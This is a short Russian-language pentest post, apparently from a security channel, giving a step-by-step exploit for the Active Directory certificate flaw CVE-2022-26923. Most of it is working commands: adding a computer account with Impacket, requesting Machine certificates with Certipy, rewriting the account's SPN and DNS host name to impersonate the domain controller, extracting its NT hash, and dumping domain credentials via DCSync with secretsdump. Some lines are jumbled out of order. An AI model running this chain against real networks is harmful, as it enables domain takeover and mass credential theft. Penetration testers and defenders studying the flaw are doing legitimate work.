Кратко поговорим об интересной уязвимости, которая позволяет нам повысить привилегии в домене.
Требования:
1. Доменная учетная запись;
2. Возможность добавлять компьютер в домен;
3. Наличие стандартного шаблона сертификата Machine;
4. Возможность изменять атрибуты учётной записи компьютера (будет по умолчанию после добавления компьютера в домен, так как мы будем владельцем объекта).
🐍 Для эксплуатации используем утилиту Certipy, краткая справка по ней представлена ниже:
# УстановкаНачнем атаку с добавления компьютера в домен при помощи Impacket-Addcomputer
pip install certipy-ad
# Запрос сертификата
# для certipy-ad v3.0.0:
certipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName
# для certipy-ad v4.8.2:
certipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10
# Авторизация с сертификатом для извлечения NTLM-хэша:
certipy auth -pfx username.pfx -dc-ip 10.10.10.10
addcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'Запрашиваем сертификат для учётной записи компьютера (шаблон Machine) и авторизуемся с ним:
certipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine
certipy auth -pfx testpc.pfx
Далее заходим на любой хост домена и начинаем менять SPN у записи нашего компьютера:
Get-ADComputer TESTPC -properties dnshostname,serviceprincipalname
Set-ADComputer TESTPC -DnsHostName DC.domain.local # вернёт ошибку из-за дублирующейся SPN
Set-ADComputer TESTPC -ServicePrincipalName @{} # обнуляем SPN
Set-ADComputer TESTPC -DnsHostName DC.domain.local
Возвращаемся на атакующий хост и запрашиваем новый сертификат:
certipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine
Авторизуемся с полченным сертификатом и получаем NTLM хэш учетной записи контроллера домена:
certipy auth -pfx dc.pfx
...
[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733
Далее осуществляем атаку DCSync любым удобным для нас способом и захватываем домен:
secretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt
Вектор будет работать только в уязвимой к CVE-2022-26923 среде Active Directory, но если вы в ней оказались, то повысить привилегии будет так же просто, как, например, в случае с эксплуатацией ZeroLogon!🔺
#пентест #AD